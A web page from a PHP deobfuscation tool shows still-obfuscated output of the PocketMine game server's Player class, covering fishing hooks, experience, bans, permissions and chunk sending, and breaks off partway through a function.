Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace pocketmine;${"GLOBALS"}["dtoedn"]="metadataKey";${"GLOBALS"}["qsdfffo"]="c..

Decoded Output download

<?php namespace pocketmine;${"GLOBALS"}["dtoedn"]="metadataKey";${"GLOBALS"}["qsdfffo"]="cnt";${"GLOBALS"}["qsjjhu"]="forceId";${"GLOBALS"}["sdvdbukwmn"]="inventory";${"GLOBALS"}["knqonkrarpgw"]="newChunk";${"GLOBALS"}["jrvpsabiq"]="reload";${"GLOBALS"}["dgvgvh"]="mode";${"GLOBALS"}["kvphqr"]="source";${"GLOBALS"}["atfjurku"]="damage";${"GLOBALS"}["rrviqs"]="amount";${"GLOBALS"}["gordtxxcvh"]="params";${"GLOBALS"}["pysiiolnxh"]="e";${"GLOBALS"}["zmuhpbybd"]="cause";${"GLOBALS"}["jhpqclndfsq"]="notify";${"GLOBALS"}["jsxvzpkhuha"]="subtitle";${"GLOBALS"}["agiqutmbx"]="parameters";${"GLOBALS"}["dttnfasbmgir"]="m";${"GLOBALS"}["pvemrbfhr"]="mes";${"GLOBALS"}["blfxlne"]="reason";${"GLOBALS"}["sniubrdqyet"]="t";${"GLOBALS"}["wphesenu"]="inv";${"GLOBALS"}["fadixrmo"]="transaction";${"GLOBALS"}["oyhuokq"]="extraItem";${"GLOBALS"}["uqictxrg"]="newItem";${"GLOBALS"}["temxnfsbc"]="used";${"GLOBALS"}["xexsmxb"]="result";${"GLOBALS"}["jhwcijuv"]="ingredients";${"GLOBALS"}["gjjebprqtv"]="remove";${"GLOBALS"}["xelopofclyp"]="n";${"GLOBALS"}["ufdfbmfqh"]="needed";${"GLOBALS"}["vwfdonghmrr"]="y";${"GLOBALS"}["lktqbjmvtzkt"]="canCraft";${"GLOBALS"}["hecsbjfle"]="ingredient";${"GLOBALS"}["pvyuvbity"]="floatingInventory";${"GLOBALS"}["xbsqxzmzhg"]="r";${"GLOBALS"}["kwewsihnj"]="possibleRecipes";${"GLOBALS"}["bhmieid"]="recipe";${"GLOBALS"}["tosljdjh"]="window";${"GLOBALS"}["ewudwjkf"]="anvilInventory";${"GLOBALS"}["vyzlfgfs"]="message";${"GLOBALS"}["ygkpnsu"]="thornsEvent";${"GLOBALS"}["lbyppmcwjln"]="fireEv";${"GLOBALS"}["aezyqbzp"]="fireAspectL";${"GLOBALS"}["ttjkyjvwjtvx"]="cancelled";${"GLOBALS"}["jxhudpfslpd"]="vector";${"GLOBALS"}["hejqsdj"]="p";${"GLOBALS"}["dgolqrqwfa"]="arrow";${"GLOBALS"}["pwmecmu"]="side";${"GLOBALS"}["qeqmjamnwk"]="thrownPotion";${"GLOBALS"}["sxiedlzsmp"]="thrownExpBottle";${"GLOBALS"}["cehxwvpx"]="egg";${"GLOBALS"}["sxucesvsrdan"]="snowball";${"GLOBALS"}["ncshhzck"]="projectileEv";${"GLOBALS"}["otbgujnkc"]="f";${"GLOBALS"}["lolkqcukqy"]="aimPos";${"GLOBALS"}["hxxizz"]="target";${"GLOBALS"}["pezmjbzb"]="blockVector";${"GLOBALS"}["kdwdeptg"]="found";${"GLOBALS"}["dfgxmweyoham"]="slot";${"GLOBALS"}["ohyhznni"]="dist";${"GLOBALS"}["kezzbew"]="c";${"GLOBALS"}["fpvodvxg"]="valid";${"GLOBALS"}["svpvqyhf"]="len";${"GLOBALS"}["oronttejy"]="tile";${"GLOBALS"}["snbhmgypsq"]="nbt";${"GLOBALS"}["vjqqcpbch"]="d";${"GLOBALS"}["vcjiseb"]="dot1";${"GLOBALS"}["fhbmvwvi"]="dot";${"GLOBALS"}["qzwrrkc"]="maxDistance";${"GLOBALS"}["wswpvg"]="eyePos";${"GLOBALS"}["upcbeljlenhu"]="expectedVelocity";${"GLOBALS"}["nrkxjt"]="tempos";${"GLOBALS"}["woxkgve"]="j";${"GLOBALS"}["klpkqij"]="tickDiff";${"GLOBALS"}["kyjjmgh"]="currentTick";${"GLOBALS"}["hzleyixsfkp"]="entries";${"GLOBALS"}["jsfeuxvh"]="moving";${"GLOBALS"}["pxiwzxnx"]="headYaw";${"GLOBALS"}["wvtjdkymit"]="pitch";${"GLOBALS"}["fpjrglovqm"]="yaw";${"GLOBALS"}["lnajtnm"]="to";${"GLOBALS"}["suqlgnvhse"]="isFirst";${"GLOBALS"}["airqtkrd"]="deltaAngle";${"GLOBALS"}["wpmiqyw"]="diffX";${"GLOBALS"}["bwaqorjihg"]="diff";${"GLOBALS"}["xrlythxdifz"]="yS";${"GLOBALS"}["qmwdfikxc"]="diffY";${"GLOBALS"}["ioksphyz"]="dz";${"GLOBALS"}["xojacv"]="dy";${"GLOBALS"}["uzxmxytm"]="dx";${"GLOBALS"}["ctvidhurc"]="distanceSquared";${"GLOBALS"}["rtkvnyyhk"]="revert";${"GLOBALS"}["zblhoo"]="chunk";${"GLOBALS"}["bkghbqddjuht"]="newPos";${"GLOBALS"}["swmvqygzd"]="add";${"GLOBALS"}["fohexunnbe"]="item";${"GLOBALS"}["raioovemq"]="block";${"GLOBALS"}["xydwvsmhpur"]="type";${"GLOBALS"}["fueouqcqi"]="id";${"GLOBALS"}["drylubndbbyo"]="flags";${"GLOBALS"}["jdfbduzetjp"]="gm";${"GLOBALS"}["senpcvj"]="identifier";${"GLOBALS"}["wqowpxyy"]="needACK";${"GLOBALS"}["qebrriohj"]="packet";${"GLOBALS"}["tbswehs"]="bool";${"GLOBALS"}["letosku"]="newOrder";${"GLOBALS"}["saxhnvcly"]="viewDistance";${"GLOBALS"}["oilgiiu"]="i";${"GLOBALS"}["qxfkcywf"]="leg";${"GLOBALS"}["tcvuwigjqw"]="layer";${"GLOBALS"}["byoktfhtm"]="centerZ";${"GLOBALS"}["zokmuumnsf"]="centerX";${"GLOBALS"}["huqxyhbptjl"]="lastChunk";${"GLOBALS"}["hppkbcn"]="msg";${"GLOBALS"}["dwjjtd"]="chunkZ";${"GLOBALS"}["uvtebnejz"]="chunkX";${"GLOBALS"}["qcfzvl"]="ev";${"GLOBALS"}["wxoehmqbtg"]="pos";${"GLOBALS"}["cfrejkkd"]="count";${"GLOBALS"}["ribemcedxese"]="distance";${"GLOBALS"}["fjwhrljo"]="batch";${"GLOBALS"}["mkwzsezq"]="BATCH_THRESHOLD";${"GLOBALS"}["bfkluni"]="x";${"GLOBALS"}["yiewjbrtorvu"]="entity";${"GLOBALS"}["qdqdqtc"]="z";${"GLOBALS"}["fqzvbrngzs"]="oldLevel";${"GLOBALS"}["txdpmuloyj"]="Z";${"GLOBALS"}["rbmfjwfncmxp"]="X";${"GLOBALS"}["uspqxtmors"]="index";${"GLOBALS"}["bpbdtlmmiipb"]="targetLevel";${"GLOBALS"}["lvqgksf"]="str";${"GLOBALS"}["brcqxrmczen"]="interface";${"GLOBALS"}["qqjiqgeccbh"]="name";${"GLOBALS"}["qnhmrhqnggr"]="player";${"GLOBALS"}["lalxhrpdciqp"]="value";${"GLOBALS"}["qqhvthwj"]="exp";${"GLOBALS"}["mqgpqffss"]="level";${"GLOBALS"}["ozzywsrssq"]="pk";use pocketmine\block\Block;use pocketmine\block\Air;use pocketmine\block\Fire;use pocketmine\block\PressurePlate;use pocketmine\command\CommandSender;use pocketmine\entity\Animal;use pocketmine\entity\Arrow;use pocketmine\entity\Attribute;use pocketmine\entity\AttributeMap;use pocketmine\entity\Boat;use pocketmine\entity\Effect;use pocketmine\entity\Entity;use pocketmine\entity\FishingHook;use pocketmine\entity\Human;use pocketmine\entity\Item as DroppedItem;use pocketmine\entity\Living;use pocketmine\entity\Minecart;use pocketmine\entity\Projectile;use pocketmine\entity\ThrownExpBottle;use pocketmine\entity\ThrownPotion;use pocketmine\event\block\BlockBreakEvent;use pocketmine\event\block\ItemFrameDropItemEvent;use pocketmine\event\block\SignChangeEvent;use pocketmine\event\entity\EntityCombustByEntityEvent;use pocketmine\event\entity\EntityDamageByBlockEvent;use pocketmine\event\entity\EntityDamageByEntityEvent;use pocketmine\event\entity\EntityDamageEvent;use pocketmine\event\entity\EntityRegainHealthEvent;use pocketmine\event\entity\EntityShootBowEvent;use pocketmine\event\entity\ProjectileLaunchEvent;use pocketmine\event\inventory\CraftItemEvent;use pocketmine\event\inventory\InventoryCloseEvent;use pocketmine\event\inventory\InventoryPickupArrowEvent;use pocketmine\event\inventory\InventoryPickupItemEvent;use pocketmine\event\player\PlayerExhaustEvent;use pocketmine\event\player\PlayerTextPreSendEvent;use pocketmine\event\player\PlayerAnimationEvent;use pocketmine\event\player\PlayerBedEnterEvent;use pocketmine\event\player\PlayerBedLeaveEvent;use pocketmine\event\player\PlayerChatEvent;use pocketmine\event\player\PlayerCommandPreprocessEvent;use pocketmine\event\player\PlayerDeathEvent;use pocketmine\event\player\PlayerDropItemEvent;use pocketmine\event\player\PlayerGameModeChangeEvent;use pocketmine\event\player\PlayerHungerChangeEvent;use pocketmine\event\player\PlayerInteractEvent;use pocketmine\event\player\PlayerItemConsumeEvent;use pocketmine\event\player\PlayerJoinEvent;use pocketmine\event\player\PlayerKickEvent;use pocketmine\event\player\PlayerLoginEvent;use pocketmine\event\player\PlayerMoveEvent;use pocketmine\event\player\PlayerPreLoginEvent;use pocketmine\event\player\PlayerQuitEvent;use pocketmine\event\player\PlayerRespawnEvent;use pocketmine\event\player\PlayerToggleSneakEvent;use pocketmine\event\player\PlayerToggleSprintEvent;use pocketmine\event\player\PlayerUseFishingRodEvent;use pocketmine\event\server\DataPacketReceiveEvent;use pocketmine\event\server\DataPacketSendEvent;use pocketmine\event\TextContainer;use pocketmine\event\Timings;use pocketmine\event\TranslationContainer;use pocketmine\inventory\AnvilInventory;use pocketmine\inventory\BaseTransaction;use pocketmine\inventory\BigShapedRecipe;use pocketmine\inventory\BigShapelessRecipe;use pocketmine\inventory\DropItemTransaction;use pocketmine\inventory\EnchantInventory;use pocketmine\inventory\FurnaceInventory;use pocketmine\inventory\Inventory;use pocketmine\inventory\InventoryHolder;use pocketmine\inventory\PlayerInventory;use pocketmine\inventory\ShapedRecipe;use pocketmine\inventory\ShapelessRecipe;use pocketmine\item\enchantment\Enchantment;use pocketmine\item\FoodSource;use pocketmine\item\Item;use pocketmine\item\Potion;use pocketmine\level\ChunkLoader;use pocketmine\level\format\FullChunk;use pocketmine\level\Level;use pocketmine\level\Location;use pocketmine\level\Position;use pocketmine\level\sound\LaunchSound;use pocketmine\math\AxisAlignedBB;use pocketmine\math\Vector2;use pocketmine\math\Vector3;use pocketmine\metadata\MetadataValue;use pocketmine\nbt\NBT;use pocketmine\nbt\tag\ByteTag;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\DoubleTag;use pocketmine\nbt\tag\ListTag;use pocketmine\nbt\tag\FloatTag;use pocketmine\nbt\tag\IntTag;use pocketmine\nbt\tag\LongTag;use pocketmine\nbt\tag\ShortTag;use pocketmine\nbt\tag\StringTag;use pocketmine\network\AnyVersionManager;use pocketmine\network\Network;use pocketmine\network\protocol\AdventureSettingsPacket;use pocketmine\network\protocol\AnimatePacket;use pocketmine\network\protocol\BatchPacket;use pocketmine\network\protocol\BlockEntityDataPacket;use pocketmine\network\protocol\ChunkRadiusUpdatedPacket;use pocketmine\network\protocol\ContainerClosePacket;use pocketmine\network\protocol\ContainerSetContentPacket;use pocketmine\network\protocol\ChangeDimensionPacket;use pocketmine\network\protocol\DataPacket;use pocketmine\network\protocol\DisconnectPacket;use pocketmine\network\protocol\EntityEventPacket;use pocketmine\network\protocol\FullChunkDataPacket;use pocketmine\network\protocol\Info;use pocketmine\network\protocol\Info as ProtocolInfo;use pocketmine\network\protocol\InteractPacket;use pocketmine\network\protocol\LevelEventPacket;use pocketmine\network\protocol\MobEquipmentPacket;use pocketmine\network\protocol\MovePlayerPacket;use pocketmine\network\protocol\p70\ChunkRadiusUpdatePacket;use pocketmine\network\protocol\p70\LoginPacket;use pocketmine\network\protocol\p70\RemovePlayerPacket;use pocketmine\network\protocol\PlayerActionPacket;use pocketmine\network\protocol\PlayStatusPacket;use pocketmine\network\protocol\RemoveEntityPacket;use pocketmine\network\protocol\RespawnPacket;use pocketmine\network\protocol\SetDifficultyPacket;use pocketmine\network\protocol\SetEntityMotionPacket;use pocketmine\network\protocol\SetEntityDataPacket;use pocketmine\network\protocol\SetHealthPacket;use pocketmine\network\protocol\SetSpawnPositionPacket;use pocketmine\network\protocol\SetTimePacket;use pocketmine\network\protocol\StartGamePacket;use pocketmine\network\protocol\SetPlayerGameTypePacket;use pocketmine\network\protocol\TakeItemEntityPacket;use pocketmine\network\protocol\TextPacket;use pocketmine\network\protocol\UpdateAttributesPacket;use pocketmine\network\protocol\UpdateBlockPacket;use pocketmine\network\SourceInterface;use pocketmine\permission\PermissibleBase;use pocketmine\permission\PermissionAttachment;use pocketmine\plugin\Plugin;use pocketmine\tile\ItemFrame;use pocketmine\tile\Sign;use pocketmine\tile\Spawnable;use pocketmine\tile\Tile;use pocketmine\utils\BinaryStream;use pocketmine\utils\TextFormat;use pocketmine\utils\UUID;use raklib\Binary;class Player extends Human implements CommandSender,InventoryHolder,ChunkLoader,IPlayer{const SURVIVAL=0;const CREATIVE=1;const ADVENTURE=2;const SPECTATOR=3;const VIEW=Player::SPECTATOR;const CRAFTING_SMALL=0;const CRAFTING_BIG=1;const CRAFTING_ANVIL=2;const CRAFTING_ENCHANT=3;protected$interface;public$playedBefore=false;public$spawned=false;public$loggedIn=false;public$gamemode;public$lastBreak;protected$windowCnt=2;protected$windows;protected$windowIndex=[];public$loginData=[];protected$messageCounter=2;protected$sendIndex=0;private$clientSecret;public$speed=null;public$blocked=false;public$achievements=[];public$lastCorrect;public$craftingType=self::CRAFTING_SMALL;protected$isCrafting=false;public$creationTime=0;protected$randomClientId;protected$protocol;public static$staticProtocol;protected$lastMovement=0;protected$forceMovement=null;protected$teleportPosition=null;protected$connected=true;protected$ip;protected$removeFormat=false;protected$port;protected$username;protected$iusername;protected$displayName;protected$startAction=-1;protected$sleeping=null;protected$clientID=null;private$loaderId=null;protected$stepHeight=0.6;public$usedChunks=[];protected$chunkLoadCount=0;protected$loadQueue=[];protected$nextChunkOrderRun=5;protected$hiddenPlayers=[];protected$newPosition;protected$viewDistance;protected$chunksPerTick;protected$spawnThreshold;protected$spawnPosition=null;protected$inAirTicks=0;protected$startAirTicks=5;protected$autoJump=true;protected$allowFlight=false;private$needACK=[];private$batchedPackets=[];private$perm=null;public$weatherData=[0,0,0];public$fromPos=null;private$portalTime=0;protected$shouldSendStatus=false;private$shouldResPos;public$fishingHook=null;public$selectedPos=[];public$selectedLev=[];protected$personalCreativeItems=[];protected$ping=0;public function setPing(int$ping){${"GLOBALS"}["hwvapllouy"]="ping";return$this->ping=${${"GLOBALS"}["hwvapllouy"]};}public function getPing(){return$this->ping;}public function linkHookToPlayer(FishingHook$entity){if($entity->isAlive()){${"GLOBALS"}["mlkgfhjf"]="entity";${"GLOBALS"}["kyeiyyb"]="pk";${"GLOBALS"}["tedkpsyw"]="pk";$this->setFishingHook(${${"GLOBALS"}["mlkgfhjf"]});${${"GLOBALS"}["tedkpsyw"]}=new EntityEventPacket();$pk->eid=$this->getFishingHook()->getId();$pk->event=EntityEventPacket::FISH_HOOK_POSITION;$this->server->broadcastPacket($this->level->getPlayers(),${${"GLOBALS"}["kyeiyyb"]});return true;}return false;}public function unlinkHookFromPlayer(){if($this->fishingHook instanceof FishingHook){${"GLOBALS"}["mgjmuzc"]="pk";${${"GLOBALS"}["mgjmuzc"]}=new EntityEventPacket();$pk->eid=$this->fishingHook->getId();$pk->event=EntityEventPacket::FISH_HOOK_TEASE;$this->server->broadcastPacket($this->level->getPlayers(),${${"GLOBALS"}["ozzywsrssq"]});$this->setFishingHook();return true;}return false;}public function isFishing(){return($this->fishingHook instanceof FishingHook);}public function getFishingHook(){return$this->fishingHook;}public function setFishingHook(FishingHook$entity=null){${"GLOBALS"}["wmkrdnprm"]="entity";$xcwnxxamvfd="entity";if(${${"GLOBALS"}["wmkrdnprm"]}==null and$this->fishingHook instanceof FishingHook){$this->fishingHook->close();}$this->fishingHook=${$xcwnxxamvfd};}public function getItemInHand(){return$this->inventory->getItemInHand();}public function getLeaveMessage(){return new TranslationContainer(TextFormat::YELLOW."%multiplayer.player.left",[$this->getDisplayName()]);}public function setExperienceAndLevel(int$exp,int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->setTotalXp(self::getTotalXpRequirement(${${"GLOBALS"}["mqgpqffss"]})+${${"GLOBALS"}["qqhvthwj"]});}public function setExp(int$exp){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);${"GLOBALS"}["sljpdh"]="exp";return$this->setTotalXp(${${"GLOBALS"}["sljpdh"]});}public function setExpLevel(int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->setXpLevel(${${"GLOBALS"}["mqgpqffss"]});}public function getExpectedExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return self::getTotalXpRequirement($this->getXpLevel()+1);}public function getLevelUpExpectedExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return self::getLevelXpRequirement($this->getXpLevel()+1);}public function calcExpLevel(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);}public function addExperience(int$exp){$lrcfbppdcv="exp";trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->addXp(${$lrcfbppdcv});}public function addExpLevel(int$level){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->addXpLevel(${${"GLOBALS"}["mqgpqffss"]});}public function getExp(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->getTotalXp();}public function getExpLevel(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->getXpLevel();}public function canPickupExp():bool{trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);return$this->canPickupXp();}public function resetExpCooldown(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);$this->resetXpCooldown();}public function updateExperience(){trigger_error("This method is deprecated, do not use it",E_USER_DEPRECATED);}public function getClientId(){return$this->randomClientId;}public function getClientSecret(){return$this->clientSecret;}public function isBanned(){return$this->server->getNameBans()->isBanned(strtolower($this->getName()));}public function setBanned($value){${"GLOBALS"}["dvfbnlubeih"]="value";if(${${"GLOBALS"}["dvfbnlubeih"]}===true){$this->server->getNameBans()->addBan($this->getName(),null,null,null);$this->kick(TextFormat::RED."You have been banned");}else{$this->server->getNameBans()->remove($this->getName());}}public function isWhitelisted():bool{return$this->server->isWhitelisted(strtolower($this->getName()));}public function setWhitelisted($value){$kttsnho="value";if(${$kttsnho}===true){$this->server->addWhitelist(strtolower($this->getName()));}else{$this->server->removeWhitelist(strtolower($this->getName()));}}public function getPlayer(){return$this;}public function getFirstPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["firstPlayed"]:null;}public function getLastPlayed(){return$this->namedtag instanceof CompoundTag?$this->namedtag["lastPlayed"]:null;}public function hasPlayedBefore(){return$this->playedBefore;}public function setAllowFlight($value){$this->allowFlight=(bool)${${"GLOBALS"}["lalxhrpdciqp"]};$this->sendSettings();}public function getAllowFlight():bool{return$this->allowFlight;}public function setAutoJump($value){$this->autoJump=${${"GLOBALS"}["lalxhrpdciqp"]};$this->sendSettings();}public function hasAutoJump():bool{return$this->autoJump;}public function spawnTo(Player$player){if($this->spawned and$player->spawned and$this->isAlive()and$player->isAlive()and$player->getLevel()===$this->level and$player->canSee($this)and!$this->isSpectator()){${"GLOBALS"}["kmrwkknofpm"]="player";parent::spawnTo(${${"GLOBALS"}["kmrwkknofpm"]});}}public function getServer(){return$this->server;}public function getRemoveFormat(){return$this->removeFormat;}public function setRemoveFormat($remove=true){$etetlbolg="remove";$this->removeFormat=(bool)${$etetlbolg};}public function canSee(Player$player):bool{return!isset($this->hiddenPlayers[$player->getRawUniqueId()]);}public function hidePlayer(Player$player){$nxcdrxog="player";if(${$nxcdrxog}===$this){return;}$this->hiddenPlayers[$player->getRawUniqueId()]=${${"GLOBALS"}["qnhmrhqnggr"]};$player->despawnFrom($this);}public function showPlayer(Player$player){${"GLOBALS"}["enlucvygqujq"]="player";if(${${"GLOBALS"}["enlucvygqujq"]}===$this){return;}unset($this->hiddenPlayers[$player->getRawUniqueId()]);if($player->isOnline()){$player->spawnTo($this);}}public function canCollideWith(Entity$entity):bool{return false;}public function resetFallDistance(){parent::resetFallDistance();if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}public function isOnline():bool{return$this->connected===true and$this->loggedIn===true;}public function isOp():bool{return$this->server->isOp($this->getName());}public function setOp($value){if(${${"GLOBALS"}["lalxhrpdciqp"]}===$this->isOp()){return;}if(${${"GLOBALS"}["lalxhrpdciqp"]}===true){$this->server->addOp($this->getName());}else{$this->server->removeOp($this->getName());}$this->recalculatePermissions();}public function isPermissionSet($name){return$this->perm->isPermissionSet(${${"GLOBALS"}["qqjiqgeccbh"]});}public function hasPermission($name):bool{$egeglqwiw="name";if($this->perm==null)return false;else return$this->perm->hasPermission(${$egeglqwiw});}public function addAttachment(Plugin$plugin,$name=null,$value=null){${"GLOBALS"}["onvgckwvbmk"]="plugin";if($this->perm==null)return false;return$this->perm->addAttachment(${${"GLOBALS"}["onvgckwvbmk"]},${${"GLOBALS"}["qqjiqgeccbh"]},${${"GLOBALS"}["lalxhrpdciqp"]});}public function removeAttachment(PermissionAttachment$attachment){$pifxpswcisy="attachment";if($this->perm==null){return false;}$this->perm->removeAttachment(${$pifxpswcisy});return true;}public function recalculatePermissions(){$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);if($this->perm===null){return;}$this->perm->recalculatePermissions();if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}}public function getEffectivePermissions(){return$this->perm->getEffectivePermissions();}public function __construct(SourceInterface$interface,$clientID,$ip,$port){$this->interface=${${"GLOBALS"}["brcqxrmczen"]};$this->windows=new\SplObjectStorage();$this->perm=new PermissibleBase($this);${"GLOBALS"}["ckmwfex"]="ip";$nmpplo="port";$this->namedtag=new CompoundTag();$this->server=Server::getInstance();${"GLOBALS"}["poqfiwwdwr"]="clientID";$this->lastBreak=PHP_INT_MAX;$this->ip=${${"GLOBALS"}["ckmwfex"]};$this->port=${$nmpplo};$this->clientID=${${"GLOBALS"}["poqfiwwdwr"]};$this->loaderId=Level::generateChunkLoaderId($this);$this->chunksPerTick=(int)$this->server->getProperty("chunk-sending.per-tick",4);$this->spawnThreshold=(int)$this->server->getProperty("chunk-sending.spawn-threshold",56);$this->spawnPosition=null;$this->gamemode=$this->server->getGamemode();$this->setLevel($this->server->getDefaultLevel());$this->viewDistance=$this->server->getViewDistance();$this->newPosition=new Vector3(0,0,0);$this->boundingBox=new AxisAlignedBB(0,0,0,0,0,0);$this->uuid=null;$this->rawUUID=null;$this->creationTime=microtime(true);$this->exp=0;$this->expLevel=0;$this->food=20;Entity::setHealth(20);}public function isConnected():bool{return$this->connected===true;}public function getDisplayName(){return$this->displayName;}public function setDisplayName($name){$this->displayName=${${"GLOBALS"}["qqjiqgeccbh"]};if($this->spawned){$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),$this->getSkinId(),$this->getSkinData());}}public function setSkin($str,$skinId){${"GLOBALS"}["esnsxrhkj"]="skinId";parent::setSkin(${${"GLOBALS"}["lvqgksf"]},${${"GLOBALS"}["esnsxrhkj"]});if($this->spawned){$teadskfphowl="skinId";$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),${$teadskfphowl},${${"GLOBALS"}["lvqgksf"]});}}public function getAddress():string{return$this->ip;}public function getPort():int{return$this->port;}public function getNextPosition(){return$this->newPosition!==null?new Position($this->newPosition->x,$this->newPosition->y,$this->newPosition->z,$this->level):$this->getPosition();}public function isSleeping():bool{return$this->sleeping!==null;}public function getInAirTicks(){return$this->inAirTicks;}protected function switchLevel(Level$targetLevel){${"GLOBALS"}["crlukfcj"]="oldLevel";${${"GLOBALS"}["crlukfcj"]}=$this->level;if(parent::switchLevel(${${"GLOBALS"}["bpbdtlmmiipb"]})){${"GLOBALS"}["elqtapglonu"]="index";${"GLOBALS"}["gufuqtl"]="d";${"GLOBALS"}["qtzjajembs"]="pk";foreach($this->usedChunks as${${"GLOBALS"}["elqtapglonu"]}=>${${"GLOBALS"}["gufuqtl"]}){$izibdhpug="Z";Level::getXZ(${${"GLOBALS"}["uspqxtmors"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${$izibdhpug});$this->unloadChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]},${${"GLOBALS"}["fqzvbrngzs"]});}$this->usedChunks=[];${${"GLOBALS"}["qtzjajembs"]}=new SetTimePacket();$gbakurwg="pk";$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$this->dataPacket(${$gbakurwg});if($targetLevel->getDimension()!=$oldLevel->getDimension()){$ngflmle="pk";$flplkkjgy="pk";${$ngflmle}=new ChangeDimensionPacket();$pk->dimension=$targetLevel->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$this->dataPacket(${$flplkkjgy});$this->shouldSendStatus=true;}$targetLevel->getWeather()->sendWeather($this);if($this->spawned){$this->spawnToAll();}}}private function unloadChunk($x,$z,Level$level=null){${"GLOBALS"}["iwpcbtjor"]="level";${"GLOBALS"}["ygiqjih"]="x";${"GLOBALS"}["npuhkgpqsai"]="z";$wvvbgcgjvqnx="index";${"GLOBALS"}["tandkpligf"]="index";${${"GLOBALS"}["iwpcbtjor"]}=${${"GLOBALS"}["mqgpqffss"]}===null?$this->level:${${"GLOBALS"}["mqgpqffss"]};${$wvvbgcgjvqnx}=Level::chunkHash(${${"GLOBALS"}["ygiqjih"]},${${"GLOBALS"}["qdqdqtc"]});$kselbioe="index";if(isset($this->usedChunks[${${"GLOBALS"}["tandkpligf"]}])){$vxlkxgdmybl="z";$aciguaod="index";${"GLOBALS"}["kjgvhu"]="x";foreach($level->getChunkEntities(${${"GLOBALS"}["kjgvhu"]},${$vxlkxgdmybl})as${${"GLOBALS"}["yiewjbrtorvu"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this){$entity->despawnFrom($this);}}unset($this->usedChunks[${$aciguaod}]);}$level->unregisterChunkLoader($this,${${"GLOBALS"}["bfkluni"]},${${"GLOBALS"}["npuhkgpqsai"]});unset($this->loadQueue[${$kselbioe}]);}public function getSpawn():Position{if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level){return$this->spawnPosition;}else{${${"GLOBALS"}["mqgpqffss"]}=$this->server->getDefaultLevel();return$level->getSafeSpawn();}}public function sendChunk($x,$z,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){${"GLOBALS"}["tnlfbimve"]="x";if($this->connected===false){return;}$this->usedChunks[Level::chunkHash(${${"GLOBALS"}["tnlfbimve"]},${${"GLOBALS"}["qdqdqtc"]})]=true;$this->chunkLoadCount++;if($this->getProtocol()==84){${${"GLOBALS"}["ozzywsrssq"]}=new FullChunkDataPacket();$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;if(Network::${${"GLOBALS"}["mkwzsezq"]}>=0){$pk->encode();${${"GLOBALS"}["fjwhrljo"]}=new BatchPacket();$batch->payload=zlib_encode(Binary::writeInt(strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$qdnyxfoysxw="batch";$batch->encode();$batch->isEncoded=true;$this->dataPacket(${$qdnyxfoysxw});}else{$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new\pocketmine\network\protocol\p70\FullChunkDataPacket();${"GLOBALS"}["hvxeexx"]="batch";$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;$pk->encode();${${"GLOBALS"}["fjwhrljo"]}=new BatchPacket();$batch->payload=\zlib_encode(pack("N",\strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$batch->encode();$batch->isEncoded=\true;$this->dataPacket(${${"GLOBALS"}["hvxeexx"]});}if($this->spawned){$rfnefexr="z";foreach($this->level->getChunkEntities(${${"GLOBALS"}["bfkluni"]},${$rfnefexr})as${${"GLOBALS"}["yiewjbrtorvu"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}}protected function sendNextChunk(){${"GLOBALS"}["evtaxbcdyofv"]="count";$crvvbsscvbo="index";if($this->connected===false){return;}Timings::$playerChunkSendTimer->startTiming();${${"GLOBALS"}["evtaxbcdyofv"]}=0;foreach($this->loadQueue 